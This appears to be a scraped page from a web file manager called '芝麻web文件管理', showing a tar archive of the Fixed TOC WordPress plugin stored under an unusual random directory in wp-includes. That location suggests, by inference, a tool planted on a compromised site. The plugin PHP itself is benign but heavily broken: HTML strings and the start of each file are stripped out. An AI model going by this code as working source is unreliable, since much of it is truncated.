芝麻web文件管理V1.00
编辑当前文件:/www/wwwroot/fashionmodelquicktrack.com/wp-includes/SimplePie/src/Content/yjlz9u/fixed-toc.tar
admin/class-admin-control.php 0000644 00000003452 14744617432 0012236 0 ustar 00 init(); $this->hooks(); } /** * Init * * @since 3.0.0 * * @return void */ private function init() { } /** * Hooks * * @since 3.0.0 * * @return void */ private function hooks() { // Validate data require_once 'field-data/class-validate-data.php'; if ( is_admin() ) { // Settings require_once 'setting/class-setting.php'; new Fixedtoc_Setting(); // Post meta box require_once 'metabox/class-metabox.php'; new Fixedtoc_Metabox(); } // Customize require_once 'customizer/class-customize.php'; new Fixedtoc_Customize(); // Widget require_once 'widget/class-widget.php'; add_action( 'widgets_init', array( $this, 'register_widget' ) ); } /** * Sanitize data when saving * * @since 3.0.0 * * @param mixed $vals * * @return array */ public static function sanitize( $vals ) { if ( $vals && is_array( $vals ) ) { $data = fixedtoc_get_field_data(); foreach ( $vals as $key => $val ) { $sanitize = isset( $data[ $key ]['sanitize'] ) && $data[ $key ]['sanitize'] ? $data[ $key ]['sanitize'] : ''; if ( ! $sanitize ) { continue; } if ( is_array( $sanitize ) ) { if ( method_exists( $sanitize[0], $sanitize[1] ) ) { $vals[ $key ] = call_user_func( array( $sanitize[0], $sanitize[1] ), $val ); } } else { if ( function_exists( $sanitize ) ) { $vals[ $key ] = call_user_func( $sanitize, $val ); } } } } return $vals; } /** * register the widget for Fixed TOC. * * @since 3.1.8 * * @return void */ public function register_widget() { register_widget( 'Fixedtoc_Widget' ); } } admin/fields/class-field-multi-checkbox.php 0000644 00000002241 14744617432 0014730 0 ustar 00 args['choices']; if ( ! $choices ) { return ''; } if ( isset( $this->args['input_attrs']['id'] ) ) { unset( $this->args['input_attrs']['id'] ); } $name = esc_attr( $this->args['name'] ); $value = (array) $this->args['value']; $choices = $this->args['choices']; $extra_attrs = $this->get_extra_attrs(); $disabled = isset( $this->args['input_attrs']['disabled'] ) && $this->args['input_attrs']['disabled'] ? ' disabled' : ''; $html = '
'; $html .= "
"; foreach ( $choices as $val => $label ) { $label = esc_html( $label ); $val = esc_attr( $val ); $checked = checked( true, in_array( $val, $value ), false ); $html .= "
$label
"; } $html .= '
'; return $html; } } admin/fields/class-field-input.php 0000644 00000001127 14744617432 0013153 0 ustar 00 args['type'] ) && $this->args['type'] ? $this->args['type'] : 'text'; $name = $this->args['name']; $value = $this->args['value']; $extra_attrs = $this->get_extra_attrs(); return '
'; } } admin/fields/class-field-multi-select.php 0000644 00000001764 14744617432 0014432 0 ustar 00 args['choices']; if ( ! $choices ) { return ''; } $name = esc_attr( $this->args['name'] ); $value = (array) $this->args['value']; $extra_attrs = $this->get_extra_attrs(); $disabled = isset( $this->args['input_attrs']['disabled'] ) && $this->args['input_attrs']['disabled'] ? ' disabled' : ''; $html = "
"; foreach ( $choices as $val => $text ) { $val = esc_attr( $val ); $text = sanitize_text_field( $text ); $selected = selected( true, in_array( $val, $value ), false ); $html .= "
$text
"; } $html .= '
'; return $html; } } admin/fields/abstract-field.php 0000644 00000001730 14744617432 0012514 0 ustar 00 args = $args; } /** * Get html code. * * @since 3.0.0 * @access protected * * @return string */ protected function get_extra_attrs() { $attrs = isset( $this->args['input_attrs'] ) ? (array) $this->args['input_attrs'] : array(); $extra_attrs = ''; foreach ( $attrs as $n => $v ) { if ( is_bool( $v ) ) { if ( $v ) { $extra_attrs .= ' ' . $n; } } else { $extra_attrs .= ' ' . $n . '="' . esc_attr( $v ) . '"'; } } return $extra_attrs; } /** * Get html code. * * @since 3.0.0 * @access public * * @return string */ abstract public function get_html(); } admin/fields/class-fields-factory.php 0000644 00000003557 14744617432 0013657 0 ustar 00 field_obj = new $obj_name( $args ); } /** * Get html code. * * @since 3.0.0 * @access public * * @return string */ public function get_html() { return $this->field_obj->get_html(); } } /** * Load field files * * @since 3.0.0 */ require_once 'abstract-field.php'; require_once 'class-field-input.php'; require_once 'class-field-select.php'; require_once 'class-field-multi-select.php'; require_once 'class-field-textarea.php'; require_once 'class-field-color.php'; require_once 'class-field-radio.php'; require_once 'class-field-checkbox.php'; require_once 'class-field-multi-checkbox.php'; admin/fields/class-field-textarea.php 0000644 00000001143 14744617432 0013627 0 ustar 00 args['name'] ); if ( '_fixed_toc[general_exclude_keywords]' === $name ) { $content = esc_textarea( fixedtoc_get_meta( 'general_exclude_keywords', false, true ) ); } else { $content = esc_textarea( $this->args['value'] ); } $extra_attrs = $this->get_extra_attrs(); return "
$content</textarea>"; } } admin/fields/class-field-color.php 0000644 00000001072 14744617432 0013131 0 ustar 00 args['name'] ); $default = esc_attr( $this->args['default'] ); $value = esc_attr( $this->args['value'] ); $extra_attrs = $this->get_extra_attrs(); return "
"; } } admin/fields/class-field-radio.php 0000644 00000001552 14744617432 0013114 0 ustar 00 args['choices']; if ( ! $choices ) { return ''; } if ( isset( $this->args['input_attrs']['id'] ) ) { unset( $this->args['input_attrs']['id'] ); } $name = esc_attr( $this->args['name'] ); $value = $this->args['value']; $extra_attrs = $this->get_extra_attrs(); $html = '
'; foreach ( $choices as $val => $label ) { $label = esc_html( $label ); $checked = checked( $val, $value, false ); $html .= "
$label
"; } $html .= '
'; return substr( $html, 0, - 4 ); } } admin/fields/class-field-select.php 0000644 00000001420 14744617432 0013267 0 ustar 00 args['choices']; if ( ! $choices ) { return ''; } $name = esc_attr( $this->args['name'] ); $value = $this->args['value']; $extra_attrs = $this->get_extra_attrs(); $html = "
"; foreach ( $choices as $val => $text ) { $val = esc_attr( $val ); $text = sanitize_text_field( $text ); $selected = selected( $val, esc_attr( $value ), false ); $html .= "
$text
"; } $html .= '
'; return $html; } } admin/fields/class-field-checkbox.php 0000644 00000001416 14744617432 0013603 0 ustar 00 args['name'] ); $value = (bool) $this->args['value']; $extra_attrs = $this->get_extra_attrs(); $disabled = isset( $this->args['input_attrs']['disabled'] ) && $this->args['input_attrs']['disabled'] ? ' disabled' : ''; $checked = checked( $value, true, false ); $html = '
'; $html .= "
"; $html .= "
"; $html .= '
'; return $html; } } admin/field-data/class-location-field-data.php 0000644 00000004621 14744617432 0015261 0 ustar 00 fixed_position(); $this->horizontal_offset(); $this->vertical_offset(); } /** * Fixed Position. * * @since 3.0.0 * @access private * * @return void */ private function fixed_position() { $this->section_data['location_fixed_position'] = array( 'name' => 'location_fixed_position', 'label' => esc_html__( 'Position', 'fixedtoc' ), 'default' => 'middle-right', 'type' => 'select', 'choices' => array( 'top-right' => esc_html__( 'Top Right', 'fixedtoc' ), 'middle-right' => esc_html__( 'Middle Right', 'fixedtoc' ), 'bottom-right' => esc_html__( 'Bottom Right', 'fixedtoc' ), 'top-left' => esc_html__( 'Top Left', 'fixedtoc' ), 'middle-left' => esc_html__( 'Middle Left', 'fixedtoc' ), 'bottom-left' => esc_html__( 'Bottom Left', 'fixedtoc' ) ), 'des' => '', 'transport' => 'postMessage' ); } /** * Horizontal offset. * * @since 3.0.0 * @access private * * @return void */ private function horizontal_offset() { $this->section_data['location_horizontal_offset'] = array( 'name' => 'location_horizontal_offset', 'label' => esc_html__( 'Horizontal Offset', 'fixedtoc' ), 'default' => 10, 'type' => 'number', 'meta_input_attrs' => array( 'class' => 'small-text' ), 'sanitize' => array( 'Fixedtoc_Validate_Data', 'intval_base10' ), 'des' => esc_html__( 'Unit: px', 'fixedtoc' ), 'transport' => 'postMessage' ); } /** * Vertical offset. * * @since 3.0.0 * @access private * * @return void */ private function vertical_offset() { $this->section_data['location_vertical_offset'] = array( 'name' => 'location_vertical_offset', 'label' => esc_html__( 'Vertical Offset', 'fixedtoc' ), 'default' => 0, 'type' => 'number', 'meta_input_attrs' => array( 'class' => 'small-text' ), 'sanitize' => array( 'Fixedtoc_Validate_Data', 'intval_base10' ), 'des' => esc_html__( 'Unit: px', 'fixedtoc' ), 'transport' => 'postMessage' ); } } admin/field-data/class-widget-field-data.php 0000644 00000001172 14744617432 0014732 0 ustar 00 fixed(); } /** * Fixed widget. * * @since 3.0.0 * @access private * * @return void */ private function fixed() { $this->section_data['widget_fixed'] = array( 'name' => 'widget_fixed', 'label' => esc_html__( 'Fixed The Widget', 'fixedtoc' ), 'default' => '1', 'type' => 'checkbox', 'des' => '' ); } } admin/field-data/class-contents-header-field-data.php 0000644 00000011722 14744617432 0016534 0 ustar 00 title(); $this->font_size(); $this->font_family(); $this->customize_font_family(); $this->font_bold(); $this->title_tag(); $this->clickable(); } /** * Title. * * @since 3.0.0 * @access private * * @return void */ private function title() { $this->section_data['contents_header_title'] = array( 'name' => 'contents_header_title', 'label' => esc_html__( 'Title', 'fixedtoc' ), 'default' => 'Contents', 'type' => 'text', 'input_attrs' => array( 'class' => 'regular-text' ), 'widget_input_attrs' => array( 'class' => 'widefat' ), 'sanitize' => 'sanitize_text_field', 'des' => '', 'transport' => 'postMessage' ); } /** * Font size. * * @since 3.1.11 * @access private * * @return void */ private function font_size() { $this->section_data['contents_header_font_size'] = array( 'name' => 'contents_header_font_size', 'label' => esc_html__( 'Font Size', 'fixedtoc' ), 'default' => 22, 'type' => 'number', 'input_attrs' => array( 'class' => 'small-text', 'min' => '1', 'max' => '100', 'placeholder' => '22', ), 'widget_input_attrs' => array( 'class' => 'small-text', 'min' => '1', 'max' => '100', 'placeholder' => '22', ), 'des' => esc_html__( 'Unit: px. Only accept for numbers', 'fixedtoc' ), 'sanitize' => 'absint', 'transport' => 'postMessage' ); } /** * Font family. * * @since 3.0.0 * @access private * * @return void */ private function font_family() { $this->section_data['contents_header_font_family'] = array( 'name' => 'contents_header_font_family', 'label' => esc_html__( 'Font Family', 'fixedtoc' ), 'default' => 'inherit', 'type' => 'select', 'widget_input_attrs' => array( 'class' => 'widefat' ), 'choices' => $this->obj_field_data->get_font_family_choices(), 'sanitize' => '', 'des' => '', 'transport' => 'postMessage' ); } /** * Customize font family. * * @since 3.0.0 * @access private * * @return void */ private function customize_font_family() { $this->section_data['contents_header_customize_font_family'] = array( 'name' => 'contents_header_customize_font_family', 'label' => '', 'default' => '', 'type' => 'text', 'input_attrs' => array( 'class' => 'regular-text' ), 'widget_input_attrs' => array( 'class' => 'widefat' ), 'sanitize' => 'sanitize_text_field', 'des' => '', 'transport' => 'postMessage' ); } /** * Font bold. * * @since 3.0.0 * @access private * * @return void */ private function font_bold() { $this->section_data['contents_header_font_bold'] = array( 'name' => 'contents_header_font_bold', 'label' => esc_html__( 'Font Bold', 'fixedtoc' ), 'default' => '1', 'type' => 'checkbox', 'des' => '', 'transport' => 'postMessage' ); } /** * Set the heading tag of the title. * * @since 3.1.11 * @access private * * @return void */ private function title_tag() { $this->section_data['contents_header_title_tag'] = array( 'name' => 'contents_header_title_tag', 'label' => esc_html__( 'Heading Tag', 'fixedtoc' ), 'default' => 'h3', 'type' => 'select', 'widget_input_attrs' => array( 'class' => 'widefat' ), 'choices' => array( 'h1' => 'h1', 'h2' => 'h2', 'h3' => 'h3', 'h4' => 'h4', 'h5' => 'h5', 'h6' => 'h6', 'span' => 'span', 'div' => 'div' ), 'sanitize' => '', 'des' => esc_html__( 'To fit the page structure for SEO.', 'fixedtoc' ), 'transport' => 'postMessage' ); } /** * Set which element clickable. * * @since 3.1.16 * @access private * * @return void */ private function clickable() { $this->section_data['contents_header_clickable'] = array( 'name' => 'contents_header_clickable', 'label' => esc_html__( 'Clickable', 'fixedtoc' ), 'default' => 'icon', 'type' => 'radio', 'choices' => array( 'icon' => esc_html__( 'Icon', 'fixedtoc' ), 'header' => esc_html__( 'Header', 'fixedtoc' ) ), 'des' => esc_html__( 'Choose which element to collapse/expand the TOC.', 'fixedtoc' ), 'transport' => 'refresh' ); } } admin/field-data/class-contents-list-field-data.php 0000644 00000014252 14744617432 0016260 0 ustar 00 font_size(); $this->font_family(); $this->customize_font_family(); $this->list_style_type(); $this->nested_list(); $this->enable_collapse_expand(); $this->show_sub_icon(); $this->accordion(); $this->colexp_init_state(); $this->strong_1st(); } /** * Font size. * * @since 3.1.11 * @access private * * @return void */ private function font_size() { $this->section_data['contents_list_font_size'] = array( 'name' => 'contents_list_font_size', 'label' => esc_html__( 'Font Size', 'fixedtoc' ), 'default' => 14, 'type' => 'number', 'input_attrs' => array( 'class' => 'small-text', 'min' => '1', 'max' => '100', 'placeholder' => '14', ), 'widget_input_attrs' => array( 'class' => 'small-text', 'min' => '1', 'max' => '100', 'placeholder' => '22', ), 'des' => esc_html__( 'Unit: px. Only accept for numbers.', 'fixedtoc' ), 'sanitize' => 'absint', 'transport' => 'postMessage' ); } /** * Font family. * * @since 3.0.0 * @access private * * @return void */ private function font_family() { $this->section_data['contents_list_font_family'] = array( 'name' => 'contents_list_font_family', 'label' => esc_html__( 'Font Family', 'fixedtoc' ), 'default' => 'inherit', 'type' => 'select', 'widget_input_attrs' => array( 'class' => 'widefat' ), 'choices' => $this->obj_field_data->get_font_family_choices(), 'sanitize' => '', 'des' => '', 'transport' => 'postMessage' ); } /** * Customize font family. * * @since 3.0.0 * @access private * * @return void */ private function customize_font_family() { $this->section_data['contents_list_customize_font_family'] = array( 'name' => 'contents_list_customize_font_family', 'label' => '', 'default' => '', 'type' => 'text', 'input_attrs' => array( 'class' => 'regular-text' ), 'widget_input_attrs' => array( 'class' => 'widefat' ), 'sanitize' => 'sanitize_text_field', 'des' => '', 'transport' => 'postMessage' ); } /** * List style type. * * @since 3.0.0 * @access private * * @return void */ private function list_style_type() { $this->section_data['contents_list_style_type'] = array( 'name' => 'contents_list_style_type', 'label' => esc_html__( 'List Style Type', 'fixedtoc' ), 'default' => 'decimal', 'type' => 'select', 'widget_input_attrs' => array( 'class' => 'widefat' ), 'choices' => $this->obj_field_data->get_list_style_type_choices(), 'sanitize' => '', 'des' => '', 'transport' => 'postMessage' ); } /** * Nested list. * * @since 3.0.0 * @access private * * @return void */ private function nested_list() { $this->section_data['contents_list_nested'] = array( 'name' => 'contents_list_nested', 'label' => esc_html__( 'Nested List', 'fixedtoc' ), 'default' => '1', 'type' => 'checkbox', 'sanitize' => '', 'des' => '', 'transport' => 'refresh' ); } /** * Enable collapse/expand * * @since 3.0.0 * @access private * * @return void */ private function enable_collapse_expand() { $this->section_data['contents_list_colexp'] = array( 'name' => 'contents_list_colexp', 'label' => esc_html__( 'Enable Collapse/Expand Sub List', 'fixedtoc' ), 'default' => '1', 'type' => 'checkbox', 'sanitize' => '', 'des' => '', 'transport' => 'refresh' ); } /** * Display sub list icon. * * @since 3.0.0 * @access private * * @return void */ private function show_sub_icon() { $this->section_data['contents_list_sub_icon'] = array( 'name' => 'contents_list_sub_icon', 'label' => esc_html__( 'Show Sub List Icon', 'fixedtoc' ), 'default' => '1', 'type' => 'checkbox', 'sanitize' => '', 'des' => '', 'transport' => 'refresh' ); } /** * Accordion list. * * @since 3.0.0 * @access private * * @return void */ private function accordion() { $this->section_data['contents_list_accordion'] = array( 'name' => 'contents_list_accordion', 'label' => esc_html__( 'Accordion List', 'fixedtoc' ), 'default' => '', 'type' => 'checkbox', 'sanitize' => '', 'des' => esc_html__( 'Only keeping the current sub list to expand and collapse others.', 'fixedtoc' ), 'transport' => 'refresh' ); } /** * Collapse/expand init state. * * @since 3.0.0 * @access private * * @return void */ private function colexp_init_state() { $this->section_data['contents_list_colexp_init_state'] = array( 'name' => 'contents_list_colexp_init_state', 'label' => esc_html__( 'Initial Collapse/Expand State', 'fixedtoc' ), 'default' => 'expand_1st', 'type' => 'select', 'choices' => array( 'expand_all' => esc_html__( 'Expand All', 'fixedtoc' ), 'expand_1st' => esc_html__( 'Only Expand 1st Level', 'fixedtoc' ), 'collapse_all' => esc_html__( 'Collapse All', 'fixedtoc' ) ), 'sanitize' => '', 'des' => '', 'transport' => 'refresh' ); } /** * Auto collapse other list item. * * @since 3.0.0 * @access private * * @return void */ private function strong_1st() { $this->section_data['contents_list_strong_1st'] = array( 'name' => 'contents_list_strong_1st', 'label' => esc_html__( 'Strong 1st Level Item', 'fixedtoc' ), 'default' => '1', 'type' => 'checkbox', 'sanitize' => '', 'des' => '', 'transport' => 'postMessage' ); } } admin/field-data/class-effects-field-data.php 0000644 00000005547 14744617432 0015100 0 ustar 00 in_out(); $this->active_link(); } /** * In/out Effects. * * @since 3.0.0 * @access private * * @return void */ private function in_out() { $this->section_data['effects_in_out'] = array( 'name' => 'effects_in_out', 'label' => esc_html__( 'In/Out', 'fixedtoc' ), 'default' => 'zoom', 'type' => 'select', 'choices' => array( 'none' => esc_html__( 'None', 'fixedtoc' ), 'fade' => esc_html__( 'Fade', 'fixedtoc' ), 'zoom' => esc_html__( 'Zoom', 'fixedtoc' ) ), 'sanitize' => '', 'des' => esc_html__( 'Select how the TOC show in and hide out.', 'fixedtoc' ), 'transport' => 'refresh' ); } /** * Active link Effects. * * @since 3.0.0 * @access private * * @return void */ private function active_link() { $this->section_data['effects_active_link'] = array( 'name' => 'effects_active_link', 'label' => esc_html__( 'Active Link', 'fixedtoc' ), 'default' => 'bounce-to-right', 'type' => 'select', 'choices' => array( 'none' => esc_html__( 'None', 'fixedtoc' ), 'fade' => esc_html__( 'Fade', 'fixedtoc' ), 'sweep-to-right' => esc_html__( 'Sweep To Right', 'fixedtoc' ), 'sweep-to-left' => esc_html__( 'Sweep To Left', 'fixedtoc' ), 'bounce-to-right' => esc_html__( 'Bounce To Right', 'fixedtoc' ), 'bounce-to-left' => esc_html__( 'Bounce To Left', 'fixedtoc' ), 'radial-in' => esc_html__( 'Radial In', 'fixedtoc' ), 'radial-out' => esc_html__( 'Radial Out', 'fixedtoc' ), 'rectangle-in' => esc_html__( 'Rectangle In', 'fixedtoc' ), 'rectangle-out' => esc_html__( 'Rectangle Out', 'fixedtoc' ), 'shutter-in' => esc_html__( 'Shutter In Horizontal', 'fixedtoc' ), 'shutter-out' => esc_html__( 'Shutter Out Horizontal', 'fixedtoc' ), 'underline-from-right' => esc_html__( 'Underline From Right', 'fixedtoc' ), 'underline-from-left' => esc_html__( 'Underline From Left', 'fixedtoc' ), 'underline-from-center' => esc_html__( 'Underline From Center', 'fixedtoc' ), 'reveal-underline' => esc_html__( 'Underline Reveal', 'fixedtoc' ), 'reveal-rightline' => esc_html__( 'Rightline Reveal', 'fixedtoc' ), 'reveal-leftline' => esc_html__( 'Leftline Reveal', 'fixedtoc' ), 'round-corners' => esc_html__( 'Round Corners', 'fixedtoc' ), 'border-fade' => esc_html__( 'Border Fade', 'fixedtoc' ), ), 'sanitize' => '', 'des' => '', 'transport' => 'postMessage' ); } } admin/field-data/class-contents-field-data.php 0000644 00000017033 14744617432 0015307 0 ustar 00 fixed_width(); $this->fixed_height(); $this->shape(); $this->border_width(); $this->display_in_post(); $this->position_in_post(); $this->float_in_post(); $this->width_in_post(); $this->height_in_post(); $this->col_exp_init(); $this->col_exp_init_mobile(); } /** * Width for fixed position. * * @since 3.0.0 * @access private * * @return void */ private function fixed_width() { $this->section_data['contents_fixed_width'] = array( 'name' => 'contents_fixed_width', 'label' => esc_html__( 'Width', 'fixedtoc' ), 'default' => 250, 'type' => 'number', 'input_attrs' => array( 'class' => 'small-text' ), 'sanitize' => 'absint', 'des' => nl2br( esc_html__( "When the TOC is fixed to the post.\nUnit: px.\nEmpty means auto calculate the width.", 'fixedtoc' ) ), 'transport' => 'postMessage' ); } /** * Height for fixed position. * * @since 3.0.0 * @access private * * @return void */ private function fixed_height() { $this->section_data['contents_fixed_height'] = array( 'name' => 'contents_fixed_height', 'label' => esc_html__( 'Height', 'fixedtoc' ), 'default' => '', 'type' => 'number', 'input_attrs' => array( 'class' => 'small-text' ), 'sanitize' => 'absint', 'des' => nl2br( esc_html__( "When the TOC is fixed to the post.\nUnit: px.\nEmpty means auto calculate the height.", 'fixedtoc' ) ), 'transport' => 'postMessage' ); } /** * Shape. * * @since 3.0.0 * @access private * * @return void */ private function shape() { $this->section_data['contents_shape'] = array( 'name' => 'contents_shape', 'label' => esc_html__( 'Shape', 'fixedtoc' ), 'default' => 'square', 'type' => 'select', 'choices' => $this->obj_field_data->get_shape_choices(), 'sanitize' => '', 'des' => '', 'transport' => 'postMessage' ); } /** * Border width. * * @since 3.0.0 * @access private * * @return void */ private function border_width() { $this->section_data['contents_border_width'] = array( 'name' => 'contents_border_width', 'label' => esc_html__( 'Border', 'fixedtoc' ), 'default' => 'medium', 'type' => 'select', 'choices' => $this->obj_field_data->get_border_width_choices(), 'sanitize' => '', 'des' => '', 'transport' => 'postMessage' ); } /** * Display in post * * @since 3.0.0 * @access private * * @return void */ private function display_in_post() { $this->section_data['contents_display_in_post'] = array( 'name' => 'contents_display_in_post', 'label' => esc_html__( 'Display In Post', 'fixedtoc' ), 'default' => '1', 'type' => 'checkbox', 'sanitize' => '', 'transport' => 'refresh', 'des' => esc_html__( "It doesn't work if you have checked the 'Display in Widget' option.", 'fixedtoc' ), 'meta_des' => esc_html__( "Make sure that you have unchecked the 'Display in Widget' option.", 'fixedtoc' ) ); } /** * Position in post * * @since 3.1.8 * @access private * * @return void */ private function position_in_post() { /** @noinspection HtmlUnknownTarget */ $this->section_data['contents_position_in_post'] = array( 'name' => 'contents_position_in_post', 'label' => esc_html__( 'Position In Post', 'fixedtoc' ), 'default' => 'top', 'type' => 'radio', 'choices' => array( 'top' => esc_html__( 'Top of the post', 'fixedtoc' ), 'before_1st_heading' => esc_html__( 'Before the 1st heading', 'fixedtoc' ), 'after_1st_heading' => esc_html__( 'After the 1st heading', 'fixedtoc' ), 'before_2nd_heading' => esc_html__( 'Before the 2nd heading', 'fixedtoc' ), 'after_2nd_heading' => esc_html__( 'After the 2nd heading', 'fixedtoc' ) ), 'transport' => 'refresh', 'des' => esc_html__( 'Select the position where the TOC places.', 'fixedtoc' ), 'meta_des' => esc_html__( 'Or insert the shortcode [toc] anywhere. ', 'fixedtoc' ) . sprintf( '
%s
', 'https://codex.wordpress.org/Shortcode', esc_html__( 'What is shortcode?', 'fixedtoc' ) ) ); } /** * Float in post * * @since 3.0.0 * @access private * * @return void */ private function float_in_post() { $this->section_data['contents_float_in_post'] = array( 'name' => 'contents_float_in_post', 'label' => esc_html__( 'Alignment In Post', 'fixedtoc' ), 'default' => 'none', 'type' => 'radio', 'choices' => array( 'left' => esc_html__( 'Float to left', 'fixedtoc' ), 'right' => esc_html__( 'Float to right', 'fixedtoc' ), 'center' => esc_html__( 'Center', 'fixedtoc' ), 'none' => esc_html__( 'None', 'fixedtoc' ) ), 'transport' => 'refresh' ); } /** * Width in post. * * @since 3.0.0 * @access private * * @return void */ private function width_in_post() { $this->section_data['contents_width_in_post'] = array( 'name' => 'contents_width_in_post', 'label' => esc_html__( 'Width In Post', 'fixedtoc' ), 'default' => 250, 'type' => 'number', 'input_attrs' => array( 'class' => 'small-text' ), 'sanitize' => 'absint', 'des' => nl2br( esc_html__( "When the TOC displays in the post.\nUnit: px.\nEmpty means auto calculate the width.", 'fixedtoc' ) ), 'transport' => 'postMessage' ); } /** * Height in post. * * @since 3.0.0 * @access private * * @return void */ private function height_in_post() { $this->section_data['contents_height_in_post'] = array( 'name' => 'contents_height_in_post', 'label' => esc_html__( 'Height In Post', 'fixedtoc' ), 'default' => '', 'type' => 'number', 'input_attrs' => array( 'class' => 'small-text' ), 'sanitize' => 'absint', 'des' => nl2br( esc_html__( "When the TOC displays in the post.\nUnit: px.\nEmpty means auto calculate the height.", 'fixedtoc' ) ), 'transport' => 'postMessage' ); } /** * Collapse/expand in initial state. * * @since 3.1.4 * @access private * * @return void */ private function col_exp_init() { $this->section_data['contents_col_exp_init'] = array( 'name' => 'contents_col_exp_init', 'label' => esc_html__( 'Collapsing For Initiation(Desktop)', 'fixedtoc' ), 'default' => '', 'type' => 'checkbox', 'sanitize' => '', 'des' => esc_html__( 'Check or uncheck for collapsing or expanding the contents after the page loaded.', 'fixedtoc' ), 'meta_des' => esc_html__( 'Available when the TOC displays in the post or in the Widget.', 'fixedtoc' ), 'transport' => 'refresh' ); } /** * Collapse/expand in initial state on mobile. * * @since 3.1.17 * @access private * * @return void */ private function col_exp_init_mobile() { $this->section_data['contents_col_exp_init_mobile'] = array( 'name' => 'contents_col_exp_init_mobile', 'label' => esc_html__( 'Collapsing For Initiation(Mobile)', 'fixedtoc' ), 'default' => '1', 'type' => 'checkbox', 'sanitize' => '', 'des' => '', 'meta_des' => '', 'transport' => 'refresh' ); } } admin/field-data/class-trigger-field-data.php 0000644 00000006343 14744617432 0015117 0 ustar 00 icon(); $this->size(); $this->shape(); $this->border_width(); $this->initial_visibility(); } /** * Icon. * * @since 3.0.0 * @access private * * @return void */ private function icon() { $this->section_data['trigger_icon'] = array( 'name' => 'trigger_icon', 'label' => esc_html__( 'Icon', 'fixedtoc' ), 'default' => 'number', 'type' => 'select', 'choices' => array( 'number' => esc_html__( 'List Number', 'fixedtoc' ), 'bullet' => esc_html__( 'List Bullet', 'fixedtoc' ), 'menu' => esc_html__( 'Menu', 'fixedtoc' ), 'ellipsis' => esc_html__( 'Ellipsis', 'fixedtoc' ), 'vellipsis' => esc_html__( 'Ellipsis Vertical', 'fixedtoc' ), 'none' => esc_html__( 'None', 'fixedtoc' ) ), 'des' => '', 'transport' => 'postMessage' ); } /** * Size. * * @since 3.0.0 * @access private * * @return void */ private function size() { $this->section_data['trigger_size'] = array( 'name' => 'trigger_size', 'label' => esc_html__( 'Size', 'fixedtoc' ), 'default' => 50, 'type' => 'range', 'input_attrs' => array( 'min' => 25, 'max' => 70, 'step' => 1, ), 'sanitize' => 'absint', 'des' => '', 'transport' => 'postMessage' ); } /** * Shape. * * @since 3.0.0 * @access private * * @return void */ private function shape() { $this->section_data['trigger_shape'] = array( 'name' => 'trigger_shape', 'label' => esc_html__( 'Shape', 'fixedtoc' ), 'default' => 'round', 'type' => 'select', 'choices' => $this->obj_field_data->get_shape_choices( true ), 'sanitize' => '', 'des' => '', 'transport' => 'postMessage' ); } /** * Border width. * * @since 3.0.0 * @access private * * @return void */ private function border_width() { $this->section_data['trigger_border_width'] = array( 'name' => 'trigger_border_width', 'label' => esc_html__( 'Border', 'fixedtoc' ), 'default' => 'medium', 'type' => 'select', 'choices' => $this->obj_field_data->get_border_width_choices(), 'sanitize' => '', 'des' => '', 'transport' => 'postMessage' ); } /** * Initial visibility. * * @since 3.1.4 * @access private * * @return void */ private function initial_visibility() { $this->section_data['trigger_initial_visibility'] = array( 'name' => 'trigger_initial_visibility', 'label' => esc_html__( 'Initial Visibility', 'fixedtoc' ), 'default' => 'show', 'type' => 'radio', 'choices' => array( 'show' => esc_html__( 'Show', 'fixedtoc' ), 'hide' => esc_html__( 'Hide', 'fixedtoc' ) ), 'sanitize' => '', 'des' => nl2br( esc_html__( "Show: Display the trigger button and hide the contents at initial state.\nHide: Hide the trigger button and display the contents at initial state.", 'fixedtoc' ) ), 'transport' => 'postMessage' ); } } admin/field-data/class-developer-field-data.php 0000644 00000001260 14744617432 0015432 0 ustar 00 developer_debug(); } private function developer_debug() { $this->section_data['developer_debug'] = array( 'name' => 'developer_debug', 'label' => esc_html__( 'Debug', 'fixedtoc' ), 'default' => false, 'type' => 'checkbox', 'des' => nl2br( esc_html__( "Enable Debug mode.\nUse the uncompressed version of CSS and JavaScript files, console log, etc.", 'fixedtoc' ) ) ); } } admin/field-data/class-field-data.php 0000644 00000014577 14744617432 0013466 0 ustar 00 data = array_merge( $this->data, $obj_section->get_section_data() ); } /** * Get the whole data. * * @since 3.0.0 * @access public * * @return array */ public function get_data() { return $this->data; } /** * Get post type choices. * * @since 3.0.0 * @access public * * @return array */ public function get_posttype_choices() { $obj_posttypes = get_post_types( array( 'public' => true ), 'objects' ); $choices = array(); if ( $obj_posttypes ) { foreach ( $obj_posttypes as $key => $obj_posttype ) { $choices[ $key ] = $obj_posttype->labels->singular_name; } } return $choices; } /** * Get font family choices. * * @since 3.0.0 * @access public * * @return array */ public function get_font_family_choices() { return array( 'customize' => esc_html__( 'Customize', 'fixedtoc' ), 'inherit' => esc_html__( 'Inherit', 'fixedtoc' ), 'Arial, Helvetica, sans-serif' => 'Arial, Helvetica, sans-serif', "'Arial Black', Gadget, sans-serif" => "'Arial Black', Gadget, sans-serif", "'Bookman Old Style', serif" => "'Bookman Old Style', serif", "'Comic Sans MS', cursive" => "'Comic Sans MS', cursive", 'Courier, monospace' => 'Courier, monospace', 'Garamond, serif' => 'Garamond, serif', 'Georgia, serif' => 'Georgia, serif', 'Impact, Charcoal, sans-serif' => 'Impact, Charcoal, sans-serif', "'Lucida Console', Monaco, monospace" => "'Lucida Console', Monaco, monospace", "'Lucida Sans Unicode', 'Lucida Grande', sans-serif" => "'Lucida Sans Unicode', 'Lucida Grande', sans-serif", "'MS Sans Serif', Geneva, sans-serif" => "'MS Sans Serif', Geneva, sans-serif", "'MS Serif', 'New York', sans-serif" => "'MS Serif', 'New York', sans-serif", "'Palatino Linotype', 'Book Antiqua', Palatino, serif" => "'Palatino Linotype', 'Book Antiqua', Palatino, serif", 'Tahoma, Geneva, sans-serif' => 'Tahoma, Geneva, sans-serif', "'Times New Roman', Times, serif" => "'Times New Roman', Times, serif", "'Trebuchet MS', Helvetica, sans-serif" => "'Trebuchet MS', Helvetica, sans-serif", 'Verdana, Geneva, sans-serif' => 'Verdana, Geneva, sans-serif' ); } /** * Get list style type choices. * * @since 3.0.0 * @access public * * @return array */ public function get_list_style_type_choices() { return array( 'none' => esc_html__( 'None', 'fixedtoc' ), 'decimal' => esc_html__( 'Decimal', 'fixedtoc' ), 'circle' => esc_html__( 'Circle', 'fixedtoc' ), 'circle-o' => esc_html__( 'Empty Circle', 'fixedtoc' ), 'square' => esc_html__( 'Square', 'fixedtoc' ), 'square-o' => esc_html__( 'Empty Square', 'fixedtoc' ), ); } /** * Get border width choices. * * @since 3.0.0 * @access public * * @return array */ public function get_border_width_choices() { return array( 'none' => esc_html__( 'None', 